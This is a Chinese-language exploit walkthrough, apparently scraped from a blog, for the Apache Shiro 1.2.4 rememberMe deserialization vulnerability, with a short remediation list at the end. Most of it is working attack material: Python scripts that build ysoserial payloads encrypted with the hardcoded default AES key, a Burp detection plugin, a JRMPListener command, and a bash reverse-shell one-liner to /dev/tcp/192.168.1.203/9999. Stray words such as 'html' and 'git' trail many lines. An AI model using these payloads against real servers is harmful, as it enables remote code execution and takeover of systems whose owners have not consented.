Apache Shiro 1.2.4 反序列化漏洞复现

0x00 简介

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、受权、密码和会话管理。html

0x01 漏洞概述

参考-1
参考-2java

0x02 影响版本

只要 rememberMe 的 AES 加密密钥泄露,不管 shiro 是什么版本都会致使反序列化漏洞python

0x03 环境搭建

#  获取 shrio 镜像
sudo docker pull medicean/vulapps:s_shiro_1
#  重启 docker
sudo systemctl restart docker
#  启动 shiro 环境
sudo docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
#  查看环境
sudo docker ps
#  进入环境目录(目录名为启动 shrio 环境时返回的名字(或用查看环境的命令查看))
sudo docker exec -it 268f542b6482 bash

如提示: No module named 'Crypto'git

则需安装第三方库: pycryptodomegithub

pip3 install pycryptodome

0x04 工具

ShiroExploit
Shiro_rce.py
ysoserial.jardocker

shiro_rce

shiro_rce 使用方法(会大量发包):shell

python3 shiro_rce.py http://192.168.1.233:8081/login.jsp "ping -c 127.0.0.1"

s

s.py 内容为:express

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

s.py 使用方法:swift

python2 s.py 192.168.1.203:1099

shiro

shiron.py 内容为:安全

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'URLDNS', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    #key =  "Z3VucwAAAAAAAAAAAAAAAA=="
    #key = "wGiHplamyXlVB11UXWol8g=="
	
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookie", "w") as fpw:
        print("rememberMe={0}".format(payload.decode()),file=fpw)

shiro.py 使用方法(回显):

python3 shiro.py "http://test.test"

shiro_command

shiro_command.py 内容为:

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-SNAPSHOT.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("payload.cookies", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

shiro_command.py 使用方法(命令执行,payload 在 payload.cookies 文件内):

python3 shiro_command.py "ping -c 127.0.0.1"
Burp 插件

Jythpn(用于将 Python 代码转换成 JAVA 代码)

Shiro Discovery 内容为:

# /usr/bin/env python
# _*_ coding:utf-8 _*_
__author__ = 'tkswifty'

from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpRequestResponse
from burp import IResponseInfo
from burp import IRequestInfo
from burp import IHttpService
import sys
import time
import os
import re
import random


class BurpExtender(IBurpExtender, IHttpListener):

    def __init__(self):
        self.payload = ['rememberMe','rmemberMe-tk']
        

    def registerExtenderCallbacks(self, callbacks):
        print("[+] #####################################")
        print("[+]     Shiro Discovery")
        print("[+]     Author: tkswifty")
        print("[+] #####################################\r\n\r\n")
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName('Shiro Discovery')
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if toolFlag == self._callbacks.TOOL_PROXY or toolFlag == self._callbacks.TOOL_REPEATER:
            # 监听Response
            if not messageIsRequest:

                '''请求数据'''
                # 获取请求包的数据
                resquest = messageInfo.getRequest()
                analyzedRequest = self._helpers.analyzeRequest(resquest)
                request_header = analyzedRequest.getHeaders()
                request_bodys = resquest[analyzedRequest.getBodyOffset():].tostring()
                request_host, request_Path = self.get_request_host(request_header)
                request_contentType = analyzedRequest.getContentType()
                if  len(filter(lambda x: 'Cookie' in x, request_header))>0:
                	pass
                else:
                	request_header.append("Cookie:")


                # 获取服务端的信息,主机地址,端口,协议
                httpService = messageInfo.getHttpService()
                port = httpService.getPort()
                host = httpService.getHost()
                protocol = httpService.getProtocol()

                #修改cookie检测shiro
                self.sendPayload(request_header, host, port, protocol, request_bodys,messageInfo)


    # 发起请求并进行Shiro检测
    def sendPayload(self, request_header, host, port, protocol, request_bodys,messageInfo):
    		for shiroHeader in self.payload:
    			for i in xrange(0,len(request_header)):
    				if request_header[i].startswith("Cookie:"):
    					request_header[i] = request_header[i]+";"+shiroHeader+"=shiroDiscover"
    					newRequest = self._helpers.buildHttpMessage(request_header,self._helpers.stringToBytes(request_bodys))
                        if 's' in protocol:
                            ishttps = True
                        else:
                            ishttps = False
                        expression = r'.*(443).*'
                        if re.match(expression, str(port)):
                           	ishttps = True
                        rep = self._callbacks.makeHttpRequest(host, port, ishttps, newRequest)

                        #新的请求响应包
                        analyzedResponse = self._helpers.analyzeResponse(rep)
                        rep_headers = analyzedResponse.getHeaders()
                        expression = r'.*(deleteMe).*'
                        for rpheader in rep_headers:
                            if rpheader.startswith("Set-Cookie:") and re.match(expression, rpheader):
                                response_is_shiro = True
                                messageInfo.setHighlight('orange')
                                print "[+] Find Shiro application"
                                print "\t[-] host:" + str(host)
                                print "\t[-] port:" + str(port)


    # 获取请求的url
    def get_request_host(self, reqHeaders):
        uri = reqHeaders[0].split(' ')[1]
        host = reqHeaders[1].split(' ')[1]
        return host, uri

    # 获取请求的一些信息:请求头,请求内容,请求方法,请求参数
    def get_request_info(self, request):
        analyzedIRequestInfo = self._helpers.analyzeRequest(request)
        reqHeaders = analyzedIRequestInfo.getHeaders()
        reqBodys = request[analyzedIRequestInfo.getBodyOffset():].tostring()
        reqMethod = analyzedIRequestInfo.getMethod()
        reqParameters = analyzedIRequestInfo.getParameters()
        reqHost, reqPath = self.get_request_host(reqHeaders)
        reqContentType = analyzedIRequestInfo.getContentType()
        print(reqHost, reqPath)
        return analyzedIRequestInfo, reqHeaders, reqBodys, reqMethod, reqParameters, reqHost, reqContentType

    # 获取响应的一些信息:响应头,响应内容,响应状态码
    def get_response_info(self, response):
        analyzedIResponseInfo = self._helpers.analyzeRequest(response)
        resHeaders = analyzedIResponseInfo.getHeaders()
        resBodys = response[analyzedIResponseInfo.getBodyOffset():].tostring()
        # getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
        # resStatusCode = analyzedIResponseInfo.getStatusCode()
        return resHeaders, resBodys

    # 获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
    def get_parameter_Name_Value_Type(self, parameter):
        parameterName = parameter.getName()
        parameterValue = parameter.getValue()
        parameterType = parameter.getType()
        return parameterName, parameterValue, parameterType

    def doActiveScan(self, baseRequestResponse, insertionPoint):
        pass

    def doPassiveScan(self, baseRequestResponse):
        self.issues = []
        self.start_run(baseRequestResponse)
        return self.issues

    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        '''
        相同的数据包,只报告一份报告
        :param existingIssue:
        :param newIssue:
        :return:
        '''

        if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
            return -1

        return 0

0x05 漏洞利用

在已有的cookie 值后面接 ;rememberMe=1 如返回 rememberMe=deleteMe 则说明可能存在 shiro 漏洞

一、攻击端监听 9999 端口

二、构造反弹 shell 命令,并进行 Base64编码 (如不进行 Base64编码 可能会出现问题)

/bin/bash -i >& /dev/tcp/192.168.1.203/9999 0>&1

三、攻击端开启 JRMP(端口为:8888)

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections4 "【Base64 编码后的反弹 shell 命令】"

四、使用 s.py 获取 Payload(此处端口为 JRMP 的端口)

python2 s.py 192.168.1.203:8888

五、将获取到的 Payload 到 Burp 粘贴并发送

六、此时可看到靶机已链接 JRMP

监听的 9999 端口已获取到反弹的 shell

0x06 漏洞修复

一、升级shiro到1.2.5及以上
二、删除代码里的默认密钥
三、默认配置里注释了默认密钥
四、若是不配置密钥,每次会从新随机一个密钥

0x07 参考 URL

https://www.cnblogs.com/panisme/p/12552838.html
http://www.javashuo.com/article/p-arohnkmh-dd.html

相关文章
相关标签/搜索